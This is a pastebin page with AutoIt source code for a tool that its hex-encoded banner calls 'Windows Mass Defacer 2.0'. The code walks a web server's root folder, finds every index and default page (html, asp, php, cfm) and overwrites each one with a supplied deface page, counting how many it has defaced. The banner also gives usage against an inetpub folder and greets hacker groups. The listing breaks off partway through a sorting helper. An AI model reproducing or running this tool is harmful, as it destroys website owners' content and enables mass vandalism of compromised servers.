Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Apr 27th, 2012  |  syntax: Perl  |  size: 25.11 KB  |  hits: 25  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
This paste has a previous version, view the difference. Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #NoTrayIcon
  2. #RequireAdmin
  3. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  4. #AutoIt3Wrapper_Compression=4
  5. #AutoIt3Wrapper_Compile_Both=y
  6. #AutoIt3Wrapper_UseX64=y
  7. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  8. #OnAutoItStartRegister "__Console__StartUp"
  9. Global $__Dll_Kernel32, $__Amount__Startup_Console, $__ConsoleHandle__Output, $__ConsoleHandle__Input, $__ConsoleHandle__Error
  10. Global $_Included_Console = True
  11. Global $defacerpath = ""
  12. Global $rootpath = ""
  13. $time = @HOUR&":"&@MIN&":"&@SEC
  14. ;;Get Parameters
  15. ReadCmdLineParams()
  16.  If Not FileExists($defacerpath) Then
  17.          _Print("["&@HOUR&":"&@MIN&":"&@SEC&"] "&$defacerpath&" Is an Invalid Deface Index Path ! [:/]"&@CRLF)
  18.          Exit
  19.  EndIf
  20.   If Not FileExists($rootpath) Then
  21.          _Print("["&@HOUR&":"&@MIN&":"&@SEC&"] "&$rootpath& " Is An Invalid Root Path ! [:/]"&@CRLF)
  22.          Exit
  23.          EndIf
  24. $globalvariable = 0;we define the global variable for no: of succesful defacing.
  25.  Global $avArray[10]
  26. $avArray[0] = "index.html"
  27. $avArray[1] = "index.htm"
  28. $avArray[2] = "index.asp"
  29. $avArray[3] = "index.cfm"
  30. $avArray[4] = "index.php"
  31. $avArray[5] = "default.html"
  32. $avArray[6] = "default.htm"
  33. $avArray[7] = "default.asp"
  34. $avArray[8] = "default.cfm"
  35. $avArray[9] = "default.php"
  36.  
  37.  $countdeface = _ArraySize( $avArray )
  38.  $countdeface = $countdeface - 1
  39. If not $countdeface Then
  40.  
  41.         Exit
  42. EndIf
  43. _List()
  44. Func _Replace($array);replaces the file If exists
  45.         Local $length, $target
  46.         Local $i = 1
  47.         $length = _ArraySize( $array )
  48.         $length = $length - 1
  49.         for $i = 1 To $length
  50.                 $target = $array[$i]
  51.         FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
  52. ; Copy the txt-files from source to target and overwrite target files with same name
  53. $globalvariable = $globalvariable + 1
  54. _Print("["&@HOUR&":"&@MIN&":"&@SEC&"] [+] Defacing "&$defacerpath&$target&@CRLF)
  55. Next
  56. EndFunc
  57.  
  58. Func _List();directory listing recursive
  59.         Local $Localdeafce
  60. Local $asi = "0"
  61.         for $asi = 0 To $countdeface
  62.         Local $Localdeafce = $avArray[$asi]
  63. Local $aArray = _RecFileListToArray($rootpath, $Localdeafce, 1, 1, 0, 2)
  64.  
  65. If not @error = 1 Then
  66.  
  67. _Replace($aArray)
  68. EndIf
  69.  
  70.                 Next
  71.         EndFunc
  72.  
  73. Func ReadCmdLineParams()
  74.         for $i = 1 to $cmdLine[0]
  75.                 select
  76.                         ;;If the arguement equal -d
  77.                         case $CmdLine[$i] = "-d"
  78.                                 ;check for missing argument
  79.                                 If $i == $CmdLine[0] Then Help()
  80.  
  81.                                 ;Make sure the next argument is not another paramter
  82.                                 If StringLeft($cmdline[$i+1], 1) == "-" Then
  83.                                         Help()
  84.                                 Else
  85.                                         ;;Strip white space from the begining and end of the input
  86.                                         ;;Not alway nessary let it in just in case
  87.                                         $defacerpath = StringStripWS($CmdLine[$i + 1], 3)
  88.                                 endIf
  89.  
  90.                         ;;If the arguement equal  -r
  91.                         case $CmdLine[$i] = "-r"
  92.  
  93.                                 ;check for missing arguement
  94.                                 If $i == $CmdLine[0] Then Help()
  95.  
  96.                                 ;Make sure the next argument is not another paramter
  97.                                 If StringLeft($cmdline[$i+1], 1) == "-" Then
  98.                                         Help()
  99.                                 Else
  100.                                         ;;Strip white space from the begining and end of the input
  101.                                         ;;Not alway nessary let it in just in case
  102.                                         $rootpath = StringStripWS($CmdLine[$i + 1], 3)
  103.                                 EndIf
  104.                 EndSelect
  105.  
  106.         Next
  107.  
  108.         ;Make sure required options are set and If not display the Help Message
  109.         If $defacerpath == "" Or $rootpath == "" Then
  110.                 Help()
  111.         EndIf
  112.  
  113. EndFunc
  114. Func _ArraySize( $aArray )
  115.         SetError( 0 )
  116.         $index = 0
  117.         Do
  118.                 $pop = _ArrayPop( $aArray )
  119.                 $index = $index + 1
  120.         Until @error = 1
  121.  
  122.         Return $index - 1
  123. EndFunc
  124. Func Help()
  125.         $help = "0x2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B0D0A7C20202020202020202020205F5F5F5F20205F2020202020202020202020205F20202020202020202020205F5F5F5F5F205F5F5F5F5F2020202020202020202020207C0D0A7C202020202020202020207C20205F205C7C207C202020202020202020207C207C2020202020202020207C5F2020205F7C20205F5F205C20202020202020202020207C0D0A7C202020202020202020207C207C5F29207C207C205F5F205F20205F5F5F7C207C205F5F20205F5F5F5F5F207C207C207C207C20207C207C202020202020202020207C0D0A7C202020202020202020207C20205F203C7C207C2F205F60207C2F205F5F7C207C2F202F207C5F5F5F5F5F7C7C207C207C207C20207C207C202020202020202020207C0D0A7C202020202020202020207C207C5F29207C207C20285F7C207C20285F5F7C2020203C20202020202020205F7C207C5F7C207C5F5F7C207C202020202020202020207C0D0A7C202020202020202020207C5F5F5F5F2F7C5F7C5C5F5F2C5F7C5C5F5F5F7C5F7C5C5F5C2020202020207C5F5F5F5F5F7C5F5F5F5F5F2F20202020202020202020207C0D0A7C202020202020202020202020202020202020202057696E646F7773204D617373204465666163657220322E302020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C2F2A2A2A2A2A2A2A2A2"
  126. $help &= "A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A5C7C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205573616765203A20576D6173732E657865202D64205B496E64657820506174685D202D72205B53697465204F7220526F6F5420506174685D202020207C0D0A7C20202020204578616D706C65203A20576D6173732E657865202D6420433A5C78447A782E68746D6C202D7220633A5C696E65747075625C777777726F6F745C20207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D204E616D6520202020203A20"
  127. $help &= "57696E646F7773204D61737320446566616365722076322E3020202020202020202020202020202020202020207C0D0A7C20202020205B785D20436F646564206279203A204261636B2D494420202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D20452D6D61696C2020203A20447A5B61745D446973395B646F745D636F6D2020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D205369746520202020203A207777772E446973392E436F6D2020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D2047726565747A2020203A2048696464656E205061696E202D204C6979616E204F7A202D204B6564616E7320447A202D205873732D422020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020204261432E447A202D204B696C6C65722D447A202D2043796233722D445A202D204576214C7343722170545F447A202D205468332056697065722020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C2020202020424C61436B5F53504543545245202D204B6861266D6958202D2"
  128. $help &= "044616D616E6532303131202D205961536D6F7568202D2072613363682020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D205370656369616C203130783A2053656334457665722E436F6D202D2078445A78205465616D202D2049732D5365632E4F72672020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B"
  129.         $Ascii = BinaryToString($help)
  130.         _Print($Ascii)
  131.         Exit
  132. EndFunc
  133.  
  134. _Print(@CRLF&@CRLF&"Started Defacing At "&$time& " And Ended At "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" Index Pages..[:p]"&@CRLF)
  135.  
  136. Func _Print($szString, $iAttr = -1)
  137.         If Not $__Amount__Startup_Console Then
  138.                 __Console__CreateConsole()
  139.                 $__Amount__Startup_Console += 1
  140.         EndIf
  141.         Local $lpBuffer = DllStructCreate("wchar[" & StringLen($szString) & "]")
  142.         DllStructSetData($lpBuffer, 1, $szString)
  143.         Local $lpNumberOfCharsWritten = 0
  144.         ConsoleWrite($szString)
  145.         Switch $iAttr
  146.                 Case -1
  147.                         Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "WriteConsoleW", _
  148.                                         "handle", $__ConsoleHandle__Output, _
  149.                                         "ptr", DllStructGetPtr($lpBuffer), _
  150.                                         "dword", StringLen($szString), _
  151.                                         "dword*", $lpNumberOfCharsWritten, _
  152.                                         "ptr", 0)
  153.                         Return $aResult[0]
  154.                 Case Else
  155.                         Local $aResult1 = DllCall($__Dll_Kernel32, "BOOL", "SetConsoleTextAttribute", "handle", $__ConsoleHandle__Output, "word", $iAttr)
  156.                         Local $aResult2 = DllCall($__Dll_Kernel32, "BOOL", "WriteConsoleW", _
  157.                                         "handle", $__ConsoleHandle__Output, _
  158.                                         "ptr", DllStructGetPtr($lpBuffer), _
  159.                                         "dword", StringLen($szString), _
  160.                                         "dword*", $lpNumberOfCharsWritten, _
  161.                                         "ptr", 0)
  162.                         Local $aResult3 = DllCall($__Dll_Kernel32, "BOOL", "SetConsoleTextAttribute", "handle", $__ConsoleHandle__Output, "word", 0x7)
  163.                         Switch $aResult2[0]
  164.                                 Case 0
  165.                                         Return SetError(1,@error,False)
  166.                                 Case Else
  167.                                         Return (($aResult1[0] <> 0) AND ($aResult3[0] <> 0))
  168.                         EndSwitch
  169.         EndSwitch
  170.         Return False
  171. EndFunc   ;==>Cout
  172. Func __Console__CreateConsole()
  173.         If Not $__Amount__Startup_Console Then
  174.                 $__Amount__Startup_Console += 1
  175.                 Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "AllocConsole")
  176.                 $__ConsoleHandle__Output = __Console__GetStdHandle()
  177.                 $__ConsoleHandle__Input = __Console__GetStdHandle(-10)
  178.                 $__ConsoleHandle__Error = __Console__GetStdHandle(-12)
  179.                 Return $aResult[0]
  180.         EndIf
  181. EndFunc   ;==>__Console__CreateConsole
  182. Func __Console__GetStdHandle($nStdHandle = -11)
  183.         Local $aResult = DllCall($__Dll_Kernel32, "handle", "GetStdHandle", _
  184.                         "dword", $nStdHandle)
  185.         Return $aResult[0]
  186. EndFunc   ;==>__Console__GetStdHandle
  187. Func __Console__StartUp()
  188.         Local $bIsRunningFromScite = StringInStr($CmdLineRaw, "/ErrorStdOut")
  189.         Local $bIsRecursed = Execute(StringLeft($Cmdline[$Cmdline[0]],StringLen("/Console=")))
  190.         If ($bIsRunningFromScite > 0) AND NOT $bIsRecursed Then
  191.                 Local $szCommandLine = '"' & @AutoItExe & '" "' & @ScriptFullPath & '" /Console=True'
  192.                 Local $iReturnCode = RunWait($szCommandline)
  193.                 Exit $iReturnCode
  194.         EndIf
  195.         Global $__Dll_Kernel32 = DllOpen("kernel32.dll")
  196.         OnAutoItExitRegister("__Console__ShutDown")
  197. EndFunc   ;==>__Console_StartUp
  198. Func __Console__ShutDown()
  199.         If $__Amount__Startup_Console Then
  200.                 __Console__KillConsole()
  201.                 DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Output)
  202.                 DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Input)
  203.                 DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Error)
  204.         EndIf
  205.         DllClose($__Dll_Kernel32)
  206. EndFunc   ;==>__Console_ShutDown
  207. Func __Console__KillConsole()
  208.         Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "FreeConsole")
  209.         Return $aResult[0]
  210. EndFunc   ;==>__Console__KillConsole
  211. Func _RecFileListToArray($sInitialPath, $sInclude_List = "*", $iReturn = 0, $iRecur = 0, $iSort = 0, $iReturnPath = 1, $sExclude_List = "", $sExclude_List_Folder = "")
  212.         Local $asReturnList[100] = [0], $asFileMatchList[100] = [0], $asRootFileMatchList[100] = [0], $asFolderMatchList[100] = [0], $asFolderSearchList[100] = [1]
  213.         Local $sFolderSlash = "", $iMaxLevel, $sInclude_File_Mask, $sExclude_File_Mask, $sInclude_Folder_Mask = ".+", $sExclude_Folder_Mask = ":"
  214.         Local $hSearch, $fFolder, $sRetPath = "", $sCurrentPath, $sName
  215.         Local $asFolderFileSectionList[100][2] = [[0, 0]], $sFolderToFind, $iFileSectionStartIndex, $iFileSectionEndIndex
  216.  
  217.         ; Check for valid path
  218.         If Not FileExists($sInitialPath) Then Return SetError(1, 1, "")
  219.         ; Check if folders should have trailing \ and ensure that initial path does have one
  220.         If StringRight($sInitialPath, 1) = "\" Then
  221.                 $sFolderSlash = "\"
  222.         Else
  223.                 $sInitialPath = $sInitialPath & "\"
  224.         EndIf
  225.         ; Add path to folder search list
  226.         $asFolderSearchList[1] = $sInitialPath
  227.  
  228.         ; Check for valid recur value
  229.         If $iRecur > 1 Or Not IsInt($iRecur) Then Return SetError(1, 4, "")
  230.         ; If required, determine \ count for max recursive level setting
  231.         If $iRecur < 0 Then
  232.                 StringReplace($sInitialPath, "\", "", 2)
  233.                 $iMaxLevel = @extended - $iRecur
  234.         EndIf
  235.  
  236.         ; Create Include mask for files
  237.         If $sInclude_List = "*" Then
  238.                 $sInclude_File_Mask = ".+"
  239.         Else
  240.                 If Not _RFLTA_ListToMask($sInclude_File_Mask, $sInclude_List) Then Return SetError(1, 2, "")
  241.         EndIf
  242.         ; Set Include mask for folders
  243.         Switch $iReturn
  244.                 Case 0
  245.                         ; Folders affected by mask if not recursive
  246.                         Switch $iRecur
  247.                                 Case 0
  248.                                         ; Folders match mask for compatibility
  249.                                         $sInclude_Folder_Mask = $sInclude_File_Mask
  250.                                 ;Case Else
  251.                                         ; All folders match
  252.                         EndSwitch
  253.                 ;Case 1
  254.                         ; All folders match
  255.                 Case 2
  256.                         ; Folders affected by mask
  257.                         $sInclude_Folder_Mask = $sInclude_File_Mask
  258.         EndSwitch
  259.  
  260.         ; Create Exclude List mask for files
  261.         If $sExclude_List = "" Then
  262.                 $sExclude_File_Mask = ":" ; Set unmatchable mask
  263.         Else
  264.                 If Not _RFLTA_ListToMask($sExclude_File_Mask, $sExclude_List) Then Return SetError(1, 7, "")
  265.         EndIf
  266.         ; Set Exclude mask for folders
  267.         Switch $iReturn
  268.                 Case 0
  269.                         ; Folders affected by mask if not recursive
  270.                         Switch $iRecur
  271.                                 Case 0
  272.                                         ; Folders match mask for compatibility
  273.                                         $sExclude_Folder_Mask = $sExclude_File_Mask
  274.                                 Case Else
  275.                                         ; Exclude defined folders as set in extended
  276.                                         If $sExclude_List_Folder <> "" Then
  277.                                                 If Not _RFLTA_ListToMask($sExclude_Folder_Mask, $sExclude_List_Folder) Then Return SetError(1, 8, "")
  278.                                         EndIf
  279.                         EndSwitch
  280.                 ;Case 1
  281.                         ; All folders match
  282.                 Case 2
  283.                         ; Folders affected by normal mask
  284.                         $sExclude_Folder_Mask = $sExclude_File_Mask
  285.         EndSwitch
  286.  
  287.         ; Verify other parameters
  288.         If Not ($iReturn = 0 Or $iReturn = 1 Or $iReturn = 2) Then Return SetError(1, 3, "")
  289.         If Not ($iSort = 0 Or $iSort = 1 Or $iSort = 2) Then Return SetError(1, 5, "")
  290.         If Not ($iReturnPath = 0 Or $iReturnPath = 1 Or $iReturnPath = 2) Then Return SetError(1, 6, "")
  291.  
  292.         ; Search within listed folders
  293.         While $asFolderSearchList[0] > 0
  294.  
  295.                 ; Set path to search
  296.                 $sCurrentPath = $asFolderSearchList[$asFolderSearchList[0]]
  297.  
  298.                 ; Reduce folder search list count
  299.                 $asFolderSearchList[0] -= 1
  300.  
  301.                 ; Determine return path to add to file/folder name
  302.                 Switch $iReturnPath
  303.                         ; Case 0 ; Name only
  304.                         ; Leave as ""
  305.                         Case 1 ;Relative to initial path
  306.                                 $sRetPath = StringReplace($sCurrentPath, $sInitialPath, "")
  307.                         Case 2 ; Full path
  308.                                 $sRetPath = $sCurrentPath
  309.                 EndSwitch
  310.  
  311.                 ; Get search handle
  312.                 $hSearch = FileFindFirstFile($sCurrentPath & "*")
  313.                 ; If sorting files and folders with paths then store folder name and position of associated files in list
  314.                 If $iReturn = 0 And $iSort And $iReturnPath Then
  315.                         _RFLTA_AddToList($asFolderFileSectionList, $sRetPath, $asFileMatchList[0] + 1)
  316.                 EndIf
  317.                 ; If folder empty move to next in list
  318.                 If $hSearch = -1 Then
  319.                         ContinueLoop
  320.                 EndIf
  321.  
  322.                 ; Search folder
  323.                 While 1
  324.                         $sName = FileFindNextFile($hSearch)
  325.                         ; Check for end of folder
  326.                         If @error Then
  327.                                 ExitLoop
  328.                         EndIf
  329.                         ; Set subfolder flag - @extended set in 3.3.1.1 +
  330.                         $fFolder = @extended
  331.  
  332.                         ; If folder then check whether to add to search list
  333.                         If $fFolder Then
  334.                                 Select
  335.                                         Case $iRecur < 0 ; Check recur depth
  336.                                                 StringReplace($sCurrentPath, "\", "", 0, 2)
  337.                                                 If @extended < $iMaxLevel Then
  338.                                                         ContinueCase ; Check if matched to masks
  339.                                                 EndIf
  340.                                         Case $iRecur = 1 ; Full recur
  341.                                                 If Not StringRegExp($sName, $sExclude_Folder_Mask) Then ; Add folder unless excluded
  342.                                                                 _RFLTA_AddToList($asFolderSearchList, $sCurrentPath & $sName & "\")
  343.                                                 EndIf
  344.                                         ; Case $iRecur = 0 ; Never add
  345.                                                 ; Do nothing
  346.                                 EndSelect
  347.                         EndIf
  348.  
  349.                         If $iSort Then ; Save in relevant folders for later sorting
  350.  
  351.                                 If $fFolder Then
  352.                                         If StringRegExp($sName, $sInclude_Folder_Mask) And Not StringRegExp($sName, $sExclude_Folder_Mask) Then
  353.                                                 _RFLTA_AddToList($asFolderMatchList, $sRetPath & $sName & $sFolderSlash)
  354.                                         EndIf
  355.                                 Else
  356.                                         If StringRegExp($sName, $sInclude_File_Mask) And Not StringRegExp($sName, $sExclude_File_Mask) Then
  357.                                                 ; Select required list for files
  358.                                                 If $sCurrentPath = $sInitialPath Then
  359.                                                         _RFLTA_AddToList($asRootFileMatchList, $sRetPath & $sName)
  360.                                                 Else
  361.                                                         _RFLTA_AddToList($asFileMatchList, $sRetPath & $sName)
  362.                                                 EndIf
  363.                                         EndIf
  364.                                 EndIf
  365.  
  366.                         Else ; Save directly in return list
  367.                                 If $fFolder Then
  368.                                         If $iReturn <> 1 And StringRegExp($sName, $sInclude_Folder_Mask) And Not StringRegExp($sName, $sExclude_Folder_Mask) Then
  369.                                                 _RFLTA_AddToList($asReturnList, $sRetPath & $sName & $sFolderSlash)
  370.                                         EndIf
  371.                                 Else
  372.                                         If $iReturn <> 2 And StringRegExp($sName, $sInclude_File_Mask) And Not StringRegExp($sName, $sExclude_File_Mask) Then
  373.                                                 _RFLTA_AddToList($asReturnList, $sRetPath & $sName)
  374.                                         EndIf
  375.                                 EndIf
  376.                         EndIf
  377.  
  378.                 WEnd
  379.  
  380.                 ; Close current search
  381.                 FileClose($hSearch)
  382.  
  383.         WEnd
  384.  
  385.         If $iSort Then
  386.  
  387.                 ; Check if any file/folders have been added depending on required return
  388.                 Switch $iReturn
  389.                         Case 0 ; If no folders then number of files is immaterial
  390.                                 If $asRootFileMatchList[0] = 0 And $asFolderMatchList[0] = 0 Then Return SetError(1, 9, "")
  391.                         Case 1
  392.                                 If $asRootFileMatchList[0] = 0 And $asFileMatchList[0] = 0 Then Return SetError(1, 9, "")
  393.                         Case 2
  394.                                 If $asFolderMatchList[0] = 0 Then Return SetError(1, 9, "")
  395.                 EndSwitch
  396.  
  397.                 Switch $iReturn
  398.                         Case 2 ; Folders only
  399.                                 ; Correctly size folder match list
  400.                                 ReDim $asFolderMatchList[$asFolderMatchList[0] + 1]
  401.                                 ; Copy size folder match array
  402.                                 $asReturnList = $asFolderMatchList
  403.                                 ; Simple sort list
  404.                                 _RFLTA_ArraySort($asReturnList)
  405.                         Case 1 ; Files only
  406.                                 If $iReturnPath = 0 Then ; names only so simple sort suffices
  407.                                         ; Combine file match lists
  408.                                         _RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList)
  409.                                         ; Simple sort combined file list
  410.                                         _RFLTA_ArraySort($asReturnList)
  411.                                 Else
  412.                                         ; Combine sorted file match lists
  413.                                         _RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList, 1)
  414.                                 EndIf
  415.                         Case 0 ; Both files and folders
  416.                                 If $iReturnPath = 0 Then ; names only so simple sort suffices
  417.                                         ; Combine file match lists
  418.                                         _RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList)
  419.                                         ; Set correct count for folder add
  420.                                         $asReturnList[0] += $asFolderMatchList[0]
  421.                                         ; Resize and add file match array
  422.                                         ReDim $asFolderMatchList[$asFolderMatchList[0] + 1]
  423.                                         _RFLTA_ArrayConcatenate($asReturnList, $asFolderMatchList)
  424.                                         ; Simple sort final list
  425.                                         _RFLTA_ArraySort($asReturnList)
  426.                                 Else
  427.                                         ; Size return list
  428.                                         Local $asReturnList[$asFileMatchList[0] + $asRootFileMatchList[0] + $asFolderMatchList[0] + 1]
  429.                                         $asReturnList[0] = $asFileMatchList[0] + $asRootFileMatchList[0] + $asFolderMatchList[0]
  430.                                         ; Sort root file list
  431.                                         _RFLTA_ArraySort($asRootFileMatchList, 1, $asRootFileMatchList[0])
  432.                                         ; Add the sorted root files at the top
  433.                                         For $i = 1 To $asRootFileMatchList[0]
  434.                                                 $asReturnList[$i] = $asRootFileMatchList[$i]
  435.                                         Next
  436.                                         ; Set next insertion index
  437.                                         Local $iNextInsertionIndex = $asRootFileMatchList[0] + 1
  438.                                         ; Sort folder list
  439.                                         _RFLTA_ArraySort($asFolderMatchList, 1, $asFolderMatchList[0])
  440.                                         ; Work through folder list
  441.                                         For $i = 1 To $asFolderMatchList[0]
  442.                                                 ; Format folder name for search
  443.                                                 If $sFolderSlash Then
  444.                                                         $sFolderToFind = $asFolderMatchList[$i]
  445.                                                 Else
  446.                                                         $sFolderToFind = $asFolderMatchList[$i] & "\"
  447.                                                 EndIf
  448.                                                 ; Find folder in FolderFileSectionList
  449.                                                 For $j = 1 To $asFolderFileSectionList[0][0]
  450.                                                         If $sFolderToFind = $asFolderFileSectionList[$j][0] Then ExitLoop
  451.                                                 Next
  452.                                                 ; Set file list indexes
  453.                                                 $iFileSectionStartIndex = $asFolderFileSectionList[$j][1]
  454.                                                 If $j = $asFolderFileSectionList[0][0] Then
  455.                                                         $iFileSectionEndIndex = $asFileMatchList[0]
  456.                                                 Else
  457.                                                         $iFileSectionEndIndex = $asFolderFileSectionList[$j + 1][1] - 1
  458.                                                 EndIf
  459.                                                 ; Sort files if required
  460.                                                 If $iSort = 1 Then
  461.                                                         _RFLTA_ArraySort($asFileMatchList, $iFileSectionStartIndex, $iFileSectionEndIndex)
  462.                                                 EndIf
  463.                                                 ; Add folder to return list
  464.                                                 $asReturnList[$iNextInsertionIndex] = $asFolderMatchList[$i]
  465.                                                 $iNextInsertionIndex += 1
  466.                                                 ; Add files to return list
  467.                                                 For $j = $iFileSectionStartIndex To $iFileSectionEndIndex
  468.                                                         $asReturnList[$iNextInsertionIndex] = $asFileMatchList[$j]
  469.                                                         $iNextInsertionIndex += 1
  470.                                                 Next
  471.                                         Next
  472.                                 EndIf
  473.                 EndSwitch
  474.  
  475.         Else ; No sort
  476.  
  477.                 ; Check if any file/folders have been added
  478.                 If $asReturnList[0] = 0 Then Return SetError(1, 9, "")
  479.  
  480.                 ; Remove any unused return list elements from last ReDim
  481.                 ReDim $asReturnList[$asReturnList[0] + 1]
  482.  
  483.         EndIf
  484.  
  485.         Return $asReturnList
  486.  
  487.  
  488. EndFunc   ;==>_RecFileListToArray
  489. Func _RFLTA_ListToMask(ByRef $sMask, $sList)
  490.  
  491.         ; Check for invalid characters within list
  492.         If StringRegExp($sList, "\\|/|:|\<|\>|\|") Then Return 0
  493.         ; Strip WS and insert | for ;
  494.         $sList = StringReplace(StringStripWS(StringRegExpReplace($sList, "\s*;\s*", ";"), 3), ";", "|")
  495.         ; Convert to SRE pattern
  496.         $sList = StringReplace(StringReplace(StringRegExpReplace($sList, "[][$^.{}()+\-]", "\\$0"), "?", "."), "*", ".*?")
  497.         ; Add prefix and suffix
  498.         $sMask =  "(?i)^(" & $sList & ")\z"
  499.         Return 1
  500.  
  501. EndFunc   ;==>_RFLTA_ListToMask
  502. Func _RFLTA_AddToList(ByRef $aList, $vValue_0, $vValue_1 = -1)
  503.  
  504.         If $vValue_1 = -1 Then ; [?] array
  505.                 ; Increase list count
  506.                 $aList[0] += 1
  507.                 ; Double list size if too small (fewer ReDim needed)
  508.                 If UBound($aList) <= $aList[0] Then ReDim $aList[UBound($aList) * 2]
  509.                 ; Add value
  510.                 $aList[$aList[0]] = $vValue_0
  511.         Else ; [?][2] array
  512.                 $aList[0][0] += 1
  513.                 If UBound($aList) <= $aList[0][0] Then ReDim $aList[UBound($aList) * 2][2]
  514.                 $aList[$aList[0][0]][0] = $vValue_0
  515.                 $aList[$aList[0][0]][1] = $vValue_1
  516.         EndIf
  517.  
  518. EndFunc   ;==>_RFLTA_AddToList
  519. Func _RFLTA_AddFileLists(ByRef $asTarget, $asSource_1, $asSource_2, $iSort = 0)
  520.  
  521.         ; Correctly size root file match array
  522.         ReDim $asSource_1[$asSource_1[0] + 1]
  523.         ; Simple sort root file match array if required
  524.         If $iSort = 1 Then _RFLTA_ArraySort($asSource_1)
  525.         ; Copy root file match array
  526.         $asTarget = $asSource_1
  527.         ; Add file match count
  528.         $asTarget[0] += $asSource_2[0]
  529.         ; Correctly size file match array
  530.         ReDim $asSource_2[$asSource_2[0] + 1]
  531.         ; Simple sort file match array if required
  532.         If $iSort = 1 Then _RFLTA_ArraySort($asSource_2)
  533.         ; Add file match array
  534.         _RFLTA_ArrayConcatenate($asTarget, $asSource_2)
  535.  
  536. EndFunc   ;==>_RFLTA_AddFileLists
  537. Func _RFLTA_ArraySort(ByRef $avArray, $iStart = 1, $iEnd = -99)
  538.  
  539.         If $iEnd = -99 Then $iEnd = UBound($avArray) - 1
  540.  
  541.         _RFLTA_QuickSort($avArray, $iStart, $iEnd)
  542.  
  543. EndFunc   ;==>_RFLTA_ArraySort
  544. Func _RFLTA_QuickSort(ByRef $avArray, ByRef $iStart, ByRef $iEnd)
  545.  
  546.         Local $vTmp
  547.         If ($iEnd - $iStart) < 15 Then
  548.                 Local $i, $j, $vCur
  549.                 For $i = $iStart + 1 To $iEnd
  550.                         $vTmp = $avArray[$i]
  551.                         If IsNumber($vTmp) Then
  552.                                 For $j = $i - 1 To $iStart Step -1
  553.                                         $vCur = $avArray[$j]
  554.                                         If ($vTmp >= $vCur And IsNumber($vCur)) Or (Not IsNumber($vCur) And StringCompare($vTmp, $vCur) >= 0) Then ExitLoop
  555.                                         $avArray[$j + 1] = $vCur
  556.                                 Next
  557.                         Else
  558.                                 For $j = $i - 1 To $iStart Step -1
  559.                                         If (StringCompare($vTmp, $avArray[$j]) >= 0) Then ExitLoop
  560.                                         $avArray[$j + 1] = $avArray[$j]
  561.                                 Next
  562.                         EndIf
  563.                         $avArray[$j + 1] = $vTmp
  564.                 Next
  565.                 Return
  566.         EndIf
  567.         Local $L = $iStart, $R = $iEnd, $vPivot = $avArray[Int(($iStart + $iEnd) / 2)], $fNum = IsNumber($vPivot)
  568.         Do
  569.                 If $fNum Then
  570.                         While ($avArray[$L] < $vPivot And IsNumber($avArray[$L])) Or (Not IsNumber($avArray[$L]) And StringCompare($avArray[$L], $vPivot) < 0)
  571.                                 $L += 1
  572.                         WEnd
  573.                         While ($avArray[$R] > $vPivot And IsNumber($avArray[$R])) Or (Not IsNumber($avArray[$R]) And StringCompare($avArray[$R], $vPivot) > 0)
  574.                                 $R -= 1
  575.                         WEnd
  576.                 Else
  577.                         While (StringCompare($avArray[$L], $vPivot) < 0)
  578.                                 $L += 1
  579.                         WEnd
  580.                         While (StringCompare($avArray[$R], $vPivot) > 0)
  581.                                 $R -= 1
